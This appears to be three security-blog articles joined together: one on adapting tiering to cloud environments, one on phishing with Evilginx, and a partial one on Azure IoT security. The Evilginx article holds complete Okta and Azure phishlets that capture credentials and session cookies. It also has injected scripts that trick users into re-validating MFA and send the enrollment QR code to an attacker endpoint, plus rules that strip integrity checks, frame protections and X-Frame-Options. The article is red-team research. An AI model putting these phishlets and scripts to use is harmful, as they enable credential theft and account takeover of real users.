Is the tiering principle promoted for on-premise infrastructure applicable to the cloud?

Evolution of the Security Model

In on-premises Active Directory environments, infrastructure security generally relies on strict segmentation into three tiers (T0, T1, and T2). This allows for the isolation of critical administration systems (T0), servers (T1), and user workstations (T2) in order to limit propagation risks.

This hierarchical and perimeter-based organization is inherent to the AD world and cannot be directly applied to the cloud for the following two main reasons:

• Portals are centralized: A wide variety of administrators with different rights.
• The boundary between administration levels is more complex: The principle of granular permissions, whether Role-Based (RBAC), Attribute-Based (ABAC), or conditional (location, risk, compliance, authentication methods, etc.) allows for very precise access configuration, but it complicates and obscures the global view of permissions.

To address this new paradigm, Microsoft published its Enterprise Access Model (described here), highlighting three main planes: the Control Plane, Management Plane, and Data Plane.

This model retains “cascading” criticality but simplifies it with:

• the 3 tiers into 2 access types: administrator vs. user;
• the administration flows into portal access;
• the server’s criticality is centralized within the Data plane.

Below is a comparative illustration between the old and the new model:

This new model particularly highlights 3 elements:

• User identity: privileged access vs. user access;
• Data and services: at the expense of servers;
• The method of access to web administration portals.

The inversion of importance between “servers” and “web portals” abstracting Active Directory is a radical change.

However, very few (if any) large organizations are at this stage of abandoning their “legacy” IS; a large part will be in a transitional state where the information system has been virtualized on a cloud in order to move away from its datacenters, but whose administration methods have remained the same.

These companies must deal with an obsolete tiering model and an Enterprise Access Model disconnected from current security risks and needs.

For the remainder of this article, we will take as an example the Tartampion company, which has just completed a 3-year Move-to-Cloud program on AWS. The outcome is as follows:

• A Landing Zone was created, applications already on AWS were integrated into it
• Given the lack of time and resources, a major part of the IS was incorporated via lift and shift, including business, network, bastion, and AD solutions.
• The Data Centers were closed

A problematic hybrid and virtualized IS

According to the EAM, Azure and AWS portals are displayed at the same level (the management plane) at the T1 tier, without any other form of distinction. However, these 2 cloud environments are in themselves the support for numerous IS, used by multiple collaborators with very varied levels of rights and impacts.

To illustrate the previous points, let us set aside the Digital Workplace aspect (O365 suite) and take 3 AWS accounts from a Tartampion Landing Zone, supporting different infrastructure services:

Based on the framework proposed by Microsoft, these three AWS accounts should belong to the Management plane with a T1 security level. However, in the event of a compromise of one of the 3 accounts by an attacker, the impacts would be very different.

If the Landing Zone is correctly implemented, the compromise of a Sandbox account would have very little impact, whereas that of the Master Account would lead to the compromise of all underlying accounts and resources.

A more adequate example of segmentation would be the following:

Microsoft’s Enterprise Access Model is a macroscopic framework that allows for initiating a baseline for cloud service segmentation, but which remains to be adapted according to the criticality of the concerned IS.

How can it be made relevant? To answer this, it is necessary to understand the attack scenarios exploiting cloud services.

The cloud from an attacker’s perspective

5 cloud principles facilitating attacks

Firstly, public cloud administration panels are exposed to the Internet by default, unlike sensitive IS resources. Thus, successful phishing very likely leads to access to the cloud.

Secondly, companies today have hybrid organizations (on-premise and cloud):

• Cloud infrastructures are connected to the rest of the on-premises IS;
• Workstations can also be hybrid and managed by a cloud service like Intune. Permissions to use this service are managed in Entra ID;
• Identities are often synchronized accounts, this also applies to administration accounts.

Hybrid organizations can facilitate lateral movement between the cloud and on-premise environments.

Thirdly, identity management is very complex with different scopes. For example, Entra ID allows managing access to Azure and M365 for users, as well as for applications and service accounts.

In addition, cybersecurity concepts related to the cloud are still relatively new and unfamiliar to certain “legacy” teams, such as the SOC/CERT, network, etc. The most sensitive cloud resources are not systematically identified, protected, and monitored.

Finally, even if native detection mechanisms are present, they are not always interconnected with SIEM/SOAR, which slows down response capabilities. Moreover, a recent Purple Team operation conducted on Azure and AWS infrastructure confirmed that native detection tools have limited detection capacity. This is an observation also found in Red Teams since, with an “OpSec” approach, cloud detection tools are rarely able to identify an ongoing attack.

Feedback from our penetration tests & Red Team

Derived from recent Red Team operations, these cloud-specific attack paths demonstrate the impact and the ease with which it is possible to escalate privileges to obtain highly permissive access:

The first scenario, carried out on AWS, is described below; the other two were analyzed in a series of Risk Insight articles available here.

Reconnaissance and Initial Access

Categories of employees are generally targeted in order to compromise a person with interesting rights in the IS (Developer, Support, OPS…). A frequently used method is phishing. Current phishing mechanisms can bypass the use of complex passwords and most MFA (Multi-Factor Authentication) methods.

Privilege Escalation and Lateral Movements

In the first scenario, a compromised developer possessed access to a Citrix farm. Citrix environments are not simple to completely harden, and a few breakout vulnerabilities allowed the Red Team to gain access to the underlying server.

Information gathered on the machine indicated that the server could be hosted on AWS. This was verified by trying to access the server’s AWS metadata: the instance had rights on the client’s AWS account. The Citrix virtual machine possessed the “AmazonEC2FullAccess” role allowing it management actions on EC2s in the same AWS account.

Using the AWS CLI, the other EC2s were listed. A Domain Controller was present in this AWS account. It is a common practice to regroup services intended to be used by several projects into a single account, generally called “Shared Services”. It is nevertheless recommended to verify that the criticality of shared services is homogeneous to be able to apply adequate hardening on the account or separate them into several environments.

Actions on trophies

From the Citrix server AWS role, a snapshot of the domain controller was taken and then downloaded. Domain controller backups contain all the machine’s files, including the most sensitive files like the ntds.dit database, which contains the information and secrets of all domain users. The exfiltration of this database translates to the total compromise of the concerned AD domain.

This scenario illustrates one of the attack paths that were exploited during Red Team operations, facilitated by the lack of visibility regarding the impacts that a compromised resource hosted on the cloud can have.

Faster and stronger impacts

Attacks already possible on an on-premises IS can be reproduced and even accelerated thanks to cloud features. For example, the encryption of S3 buckets (file storage service) using a KMS (encryption) key from another AWS account mimics massive data encryption, or the use of the “lifecycle” feature allows for the deletion of all objects in less than 24 hours, regardless of the amount of data.

New attacks have also appeared, such as “Subscription Hijacking” which allows transferring an Azure organization’s subscription to another and thus stealing all the data it contains while preventing remediation actions. This attack is achievable in a few clicks from the Azure web interface.

Identification and protection of the cloud trust core

Identification

The trust core adopts an approach focused on asset prioritization, which differs from the tiering model or Microsoft’s Enterprise Access Model. Unlike these models which offer a predefined segmentation, there is no universal grid: each organization must identify for itself which resources deserve the highest level of protection. The idea is to establish a restricted circle of critical resources (whether cloud or on premises) and then deploy decreasing levels of protection as one moves away from this core.

The identification of the trust core relies on two main criteria:

• Business Criticality: these are the resources that concentrate the value and business continuity of the company. If they were to be lost or compromised, the consequences would be immediate for daily operations and financially. A SharePoint environment containing intellectual property / patents is a common example;
• IS Criticality: these are the resources that ensure the administration of the information system and which possess a high level of access. Their compromise would have a major impact on the entire IS and would allow for the business impact previously mentioned. Here we find domain controllers or cloud IAM services like Entra ID and AWS Identity Center.

This mapping is never totally clear-cut. For certain elements, the posture to adopt remains vague; two examples illustrate this well:

• EDR: an obvious security element of an IS, systematically deployed on both workstations and cloud and on-premises servers, its administration console is increasingly exposed to the internet, and allows executing arbitrary commands on the devices equipped with it.
• CI/CD pipelines: a clever but complex agglomeration of applications calling each other, whose access (the code repository: GitLab, GitHub…) is accessible by all collaborators and the runner permissions are very often administrator over the entire cloud infrastructure. Out of all Red Teams conducted in 2024 & 2025, 80% exploited vulnerabilities associated with these solutions to progress in their operation or even obtain compromise trophies through these means.

In order to identify the center of the trust core, which we will call the security foundation, we can revisit the precepts of the old T0: the compromise of one of its elements would probably lead to that of the others, and by cascade, of the major part of the IS.

Assuming that your applications apply correct inter-user segregation (all of your SharePoint sites are not accessible by everyone, are they?), references to the next applications should be understood as administrator / super-user access to them, and not simple user.

Here is one possible representation of a hybrid trust core:

In this representation, on the on-premise side, we can observe:

• The T0, with its domain controllers, ADCS, and potentially the PKI, the bastion, the EDR console…
• The T1, integrating additionally high-impact business applications.

And on the cloud side, we find:

• At the core, the Control Plane (AWS Orga & Identity Center, Entra ID) as well as the Landing Zone modules supporting T0 (if part of T0 is hosted in the cloud);
• Moving outward, the various administration consoles for productivity suites, and for infrastructure or application management.

When establishing this diagram, it is important to keep in mind that:

• IT serves the business, and even though the central zone of the trust core is mainly occupied by technical components, critical solutions should be included;
• Dependency/compromise chains have a significant impact on architectural choices: positioning an AD on AWS, or deploying an EDR on an AD can suddenly create numerous paths for compromise and pivoting between the 2 worlds.

Finally, building a trust core cannot be limited to a static classification logic. It must rely on an approach that evaluates the criticality of each asset and the risk it introduces (a software development company will surely not position its Git at the same level as a civil engineering company).

Protection of the cloud trust core

The security of the trust core will rely on the two traditional risk factors:

• Reduce impact: How to prevent a compromised or malicious user from connecting to cloud portals via a browser and performing sensitive actions in a few clicks, such as backing up a domain controller hosted on a VM or deleting production data backups?
• Reduce probability: How to reduce the risks of illegitimate access from a session cookie stolen via phishing, workstation compromising, or user password reuse?

Protection of the cloud security foundation

Regarding the cloud “security foundation,” it is possible to prioritize environments by criticality according to this macroscopic scale:

Depending on the teams involved and the complexity of including them in a particularly high protection level, some organizations choose to exclude environments whose compromise would not allow for dangerous lateral movement, such as those for FinOps, detection, the Digital Workplace…

Securing the cloud security foundation relies on 2 main points:

• Impeccable hygiene: streamlined IAM configuration, least privilege strategy, deployment procedures, limitation of resources to the strict minimum…
• A passive / active security layer: deployment of policies (SCP on AWS, Policy on Azure) explicitly forbidding certain actions, or the manipulation of certain resources, and detection rules to trigger an alert in the event of a policy modification or the occurrence of one of its protected events.

These policies can be effectively associated with a tagging strategy to apply, in addition to the RBAC (Role Based Access Control) model, an ABAC (Attribute Based Access Control) model.

For example, it is possible to tag different resources with a “tiering” key and a value between “T0”, “T1”, “T2” and then deploy this set of strategies:

• Prohibit any action targeting a resource tagged “tiering” by an identity whose own tiering tag value is not equivalent;
• Prohibit the manipulation of tiering tags, except for a specific role.

And that is how, with a few tags and 2 SCPs, it is possible to replicate the Microsoft tiering model (some exceptions may occur).

Protection of identities and access

To protect users, 3 hardening themes can be implemented:

• Identity: With which account does the user connect to cloud administration interfaces? How are rights obtained?
• MFA: Is the identity protected with multi-factor authentication resistant to phishing attacks?
• Origin: From which platform does the user connect to cloud administration interfaces? Is the platform managed, and healthy?

Several levels of protection are conceivable in order to protect cloud administrators:

To protect the restricted trust core, represented by the triple padlocks, it is recommended to implement the most robust authentication factors. This includes the use of a dedicated account for cloud administration, the activation of physical multi-factor authentication (example: FIDO2 security key), and the use of a workstation specifically reserved for operations on this trust core (this last one is not often implemented).

For resources further from the center of the core of trust, symbolized by the double padlocks, a hardened but proportionate security level can be applied, in order to strengthen protection to control costs and reduce excessive constraints on the users concerned.

Ultimately, the most secure methods are also those that imply the most constraints for the people concerned, usage must be controlled (limiting day-to-day operations) and emergency situations considered.

Repeat Operations

At the end of the identification and protection phases, resources will be distributed across the different layers of the core of trust.

To verify the proper implementation of the core of trust, an audit can be conducted to verify the proper protection of the critical resources that compose it.

An information system is always evolving, but the first two phases will have been performed at a given moment. New critical resources may be added, others modified or even deleted. It is essential to regularly re-evaluate the IS and update the distribution of resources within the core of trust.

In conclusion, information system security now operates within a context of increasing complexity and strong diversification of infrastructure components and services.

In this context, it appears increasingly complex to define a universal security model. Certain frameworks retain all their relevance within well-identified perimeters: tiering remains a reference for securing Active Directory, just like the EAM for cloud environments strongly centered on the Microsoft ecosystem. Nevertheless, these models quickly reach their limits as soon as one moves away from these specific use cases.

For the majority of information systems, an approach based on risk analysis therefore stands out as the most relevant. Identifying a core of trust, clearly defining critical assets – the crown jewels – and deriving security measures from these elements allow for building a more pragmatic security posture, adapted to the reality of the IS and capable of evolving with it. This logic, less normative but more contextualized, undoubtedly constitutes one of the major levers for reconciling security, agility, and sustainability of information systems.

Cet article Cloud Security: Adapting to a new reality est apparu en premier sur RiskInsight.

Usually, threat actors try to send malicious documents such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, these types of techniques are less and less used.

Today, threat actors do not perform phishing to get a direct initial access to the company network, but to retrieve the digital identity of a user: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.

To limit such attacks, companies started enforcing MFA to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.

Phishing 101

IDP, cookies and phishing

The MFA protection implemented by companies is a good way to limit the impact of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.

However, today the MFA is usually only asked during the first authentication: once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.

In the most common web IDPs such as Azure, Google or Okta, this ticket is represented by the cookies. When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.

In a nutshell, the user IDP cookies represent the user digital identity. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.

Evilginx

Evil proxy

In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, the user will be aware that something wrong is happening.

That’s where Evilginx comes into play. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:

I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.

Phislets 101

For example, during the authentication to Azure, the following domains are used:

• login.microsoftonline.com
• www.microsoftonline.com
• aadcdn.microsoftonline.com

The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.

Evilginx uses specific configuration files known as phishlets to handle such cases. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:

<form id=”SAML” action=”https://login.microsoftonline.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

With the phishlet, Evilginx will know that the domain login.microsoftonline.com must be rewritten and will send back to the target the following modified page:

<form id=”SAML” action=”https://login.evilginx.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

With such match and replace pattern, Evilginx is able to trap the user inside the malicious application even if the IDP tries to redirect the user to a specific page.

Auto-replace limits

The Evilginx phishlet auto-replace has its limits. Indeed, sometime the server does not directly hardcode the domain in the page but builds it through a JS script.

In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.

CORS

In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script dynamically builds the redirection URL: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it fails due to CORS protection (trying to reach okta.com/idp/idx/introspect from evilginx.com):

By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:

Replace: array");var t=
By: array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=

With this simple indication, Evilginx will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.

JS integrity

When modifying the JS file or any other file through Evilginx, it can cause troubles due to the script integrity hash:

<script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/>

Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.

But, with Evilginx, we can also modify the html page to remove the integrity check:

Replace: integrity="[^"]*"
By: integrity=''

Redirect URI validation

The last point is the Redirect URI validation. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:

/oauth2/v1/authorize?client_id=XXXXXX&redirect_uri=https://trial-xxxxx.okta.com[...]

With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-xxxxx.okta.com will be automatically changed into trial-xxxxx.evilginx.com.

This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain, Okta will show the following error:

The redirect URI is dynamically built by Okta by taking the login domain and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:

Using Evilginx, it is possible to use the match/replace pattern to reset the redirect_uri to the right URI:

Replace: ,l.src=e.getIssuerOrigin()
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Replace: var s=(n.g.fetch||h())(t
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Basic phishlets

Okta

min_ver: '3.0.0'
name: 'okta-wavestone'

params:
  - name: okta_orga
    default: ''
    required: true
  - name: redirect_server
    default: https://google.com

proxy_hosts:
  - phish_sub: '{okta_orga}'
    orig_sub: '{okta_orga}'
    domain: okta.com
    session: true
    is_landing: true
    auto_filter: true

  - phish_sub: ok14static
    orig_sub: ok14static
    domain: oktacdn.com
    session: false
    is_landing: false
    auto_filter: true

  - phish_sub: login
    orig_sub: login
    domain: okta.com
    session: false
    is_landing: false
    auto_filter: true

sub_filters:
  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'array"\);var t='
    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='
    mimes: ['application/javascript']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: integrity="[^"]*"
    replace: integrity=''
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'mainScript\.integrity'
    replace: 'mainScript.inteegrity'
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'
    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'
    mimes: ['application/javascript']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

  - triggers_on: 'ok9static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

auth_tokens:
  - domain: '{okta_orga}.okta.com'
    keys: ['idx:always']

credentials:
  username:
    key: ''
    search: '"identifier":"([^"]*)"'
    type: 'json'

  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

login:
  domain: '{okta_orga}.okta.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

Azure

name: 'o365-wavestone'
min_ver: '3.0.0'

proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    session: true
    is_landing: true

  - phish_sub: 'www'
    orig_sub: 'www'
    domain: 'office.com'
    session: true
    is_landing:false

  - phish_sub: 'aadcdn'
    orig_sub: 'aadcdn'
    domain: 'msftauth.net'
    session: false
    auto_filter: true
    is_landing:false

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']

credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

auth_urls:
  - '/common/SAS/ProcessAuth'
  - '/kmsi'

login:
  domain: 'login.microsoftonline.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'
  - path: '/common/SAS'
    search:
      - {key: 'rememberMFA', search: '.*'}
    force:
      - {key: 'rememberMFA', value: 'true'}
    type: 'post'

Automate critical actions

Adding MFA device

Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.

This is usually done by adding an additional MFA device to the user account.

For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, as long as the attacker has access to the user session, he is able to directly register his malicious MFA device.

However, on some IDP such as Okta, the MFA registration asks for an MFA validation. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.

What could be interesting is to add this reauthentication step during the phishing attack:

1. The user authenticates a first time to access his session
2. Evilginx steals the user cookies
3. Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup
4. The user revalidates his MFA thinking the first one failed
5. Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process

All these actions can be automated through Evilginx by modifying the JS scripts.

First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/app/UserHome']
    script: |
      if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}

This script will be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite redirection loop at the end of his authentication flow…

Then, a new JS code is added to the /help/login page. This script is used to enumerate the available MFA technologies available and configured:

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/help/login']
    script: |
      function u4tyd783z(){
        fetch('/api/v1/authenticators')
        .then((data) => {
            data.json().then((jData)=>{
                let id = undefined
                for(let elt of jData){
                    if(elt.key == 'okta_verify'){
                        id = elt.id
                    }
                }
                if(id == undefined){
                    return
                }
                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)
                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id
            })
        })
      }
      u4tyd783z();

The script chooses the Okta Verify authentication method and redirects the user to the setup page.

On the setup page, a new JS script is injected. This JS script is used to automate the registration steps to only let the MFA validation form:

- trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/idp/authenticators/setup/.*']
    script: |
      function u720dhfn2(){
        if(document.querySelectorAll('.button.select-factor.link-button').length > 0){
            document.querySelectorAll('.button.select-factor.link-button')[0].click()
            document.querySelectorAll('body')[0].style.display = 'none'
            a = true
        }
        if(document.querySelectorAll('a.orOnMobileLink').length > 0){
            document.querySelectorAll('a.orOnMobileLink')[0].click()
            b = true
        }
        if(document.querySelectorAll('img.qrcode').length > 0){
            fetch("{qrcode_sink}", {
              method: 'POST',
              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})
            }).then(()=>{
              document.location='{redirect_server}'
            }).catch(()=>{
              document.location='{redirect_server}'
            })
            clearInterval(myInterval)
        }
      }
      var a = false
      var b = false
      var myInterval = setInterval(function(){u720dhfn2()}, 10)

Once the user has validated the MFA authentication, the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.

The attacker can then retrieve the QRCode and enroll his own device.

Pushing the limit

Okta with Azure authentication

Some companies can link two IDP together: Okta redirects to Azure and provisions the user when they first login.

In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.

The previous phislets must be merged in order to capture both authentications. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.

Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:

<form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST">[...]</form>

Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.

Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.

In a nutshell, in this specific case, it is possible to simply merge the two previous phishlets.

Frame buster

More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.

The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.

Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:

The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.

While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.

Self == top

The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.

With Evilginx, it is possible to remove the check with a simple match and replace pattern:

Replace: if(e.self===e.top){
By: if(true){window.oldself=e.self;e.self=e.top;

This modification ensures that the iframe is recognized as the top frame.

Target=”_top”

The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.

This can be done by adding the target=”_top” attribute in the form. It is then possible to remove this protection with Evilginx:

Replace: method="post" target="_top"
By: method="post"

Framework specific

Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.

The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.

In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:

Replace: autoSubmit: forceSubmit, attr: { action: postUrl }
By: autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}

HTTP header

The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.

It is possible to simply remove this header with Evilginx:

Replace: X-Frame-Options: DENY
By: Test: Test

Final phishlet

The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:

• Retrieve the Azure credentials
• Retrieve the Azure cookies
• Retrieve the Okta cookies
• Retrieve the MFA enrollment QRCode for Okta

Example of browser in browser phishing on a company using Okta/Azure

The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.

But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.

The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.

Cet article Phishing: Pushing Evilginx to its limit est apparu en premier sur RiskInsight.

Azure, in recent years, has been gaining a foothold in this sector, as Gartner has pointed out, ranking them among the visionary leaders of Industrial IoT (IIoT) platforms [1] due to its capabilities, and its almost complete coverage of all use cases and industries.

The IoT, by nature often widely exposed, even on the Internet, can be the target of attacks. It is therefore essential to put in place security mechanisms, and to apply best practices to improve the security level of the platform and the objects that connect to it, which we will explore in this article.

Before moving on to specific recommendations for protecting your IoT devices and data, let’s look at how the various Azure IoT services can be used together to create secure IoT solutions.

Presentation of the Azure IoT offer

Microsoft Azure IoT is an end-to-end platform for connectivity, analysis and visualization of data from IoT devices. It also offers interconnection with other standard Azure services such as Azure Machine Learning and Azure SQL Database.

Azure IoT offers two solution ecosystems to its customers:

• Azure IoT Central is a fully managed aPaaS, Platform as a Service application that simplifies the creation of IoT solutions. This service is responsible for connecting, managing and operating fleets of devices, and provides a management user interface. Azure IoT Central is an aggregate of different Azure IoT services such as Azure IoT Hub or Azure IoT Hub Device Provisioning Service (DPS).

Azure IoT Central offers application models according to several business domains: Retail, Health, Energy, Industry, etc., and aims at a “turnkey” implementation.  

• A customised ecosystem thanks to the various Azure PaaS (Platform as a Service) services. In this ecosystem, two services; Azure IoT Hub and Azure Digital Twins are the foundations of an IoT solution. We have also combined them with Azure Device Provisioning and Azure Device Update for optimal coverage of cyber security needs.

These two ecosystems enable Azure to address all types of IoT and IIoT needs:

• Azure IoT Central offers a complete service if you want to quickly develop a low-complexity application thanks to its application template catalogue.
• If you want a custom solution, or with features not supported by Azure IoT Central: opt for an ecosystem based on Azure IoT Hub.

Now that we have a good understanding of the Azure IoT ecosystems, it is important to focus on securing these ecosystems. How can we effectively protect IoT devices and data when using Azure IoT services? This is what we will explore in the following sections.

Preamble: the Azure CLI tool

In order to manage Azure resources, Microsoft provides several tools, most of which can be used in CLI (Command Line Interface). The tool offering the most functionality for management is Azure CLI.

This tool, available for Windows and UNIX operating systems, allows a user who is a member of an Azure environment to manage and obtain information about Azure resources. It should be noted that the range of possibilities of this tool varies according to the rights that the user has over the resources in question.

To install it, Microsoft provides a dedicated page explaining the steps for any type of environment.

In order to use it, all you must do is connect to an Azure user account via the chosen command interface (PowerShell or Bash), then enter the desired commands. Once the use of this tool is finished, a disconnection of the account is recommended.

A typical use of this tool is shown below:

The documentation of this tool, presenting and explaining all the possible commands, is available at this address.

This tool will be used later in the example of technical manipulations.

1st security vector: authentication of objects

Device authentication is crucial for an Azure infrastructure as it ensures that only authorised devices can access cloud resources. Azure IoT services support two main means of authentication for IoT devices:

• A SAS Token (Shared Access Signature) is a string of characters used to authenticate devices and services. An SAP token has the following structure:

This type of authentication has a defined validity period and permissions, which are assigned based on an access policy, on a given perimeter. The signature, on the other hand, is a crucial element because it is responsible for guaranteeing the security of communications between the object and Azure services, but also for proving the identity of the device. This signature is generated from a secret that must be specific to each device.

• An X.509 certificate [2] is a digital certificate allowing strong authentication of the object. It contains information about the entity issuing the certificate, the validity period of the certificate and the identity of the subject (e.g. the object). One of the strengths of certificates is the ability to create chains of certificates, and thus create trust relationships:

X.509 certificates offer a higher level of security, assuming a state-of-the-art cryptographic algorithm, as they allow trust relationships to be represented. However, the management and use of certificates can involve additional complexity for an IoT project.

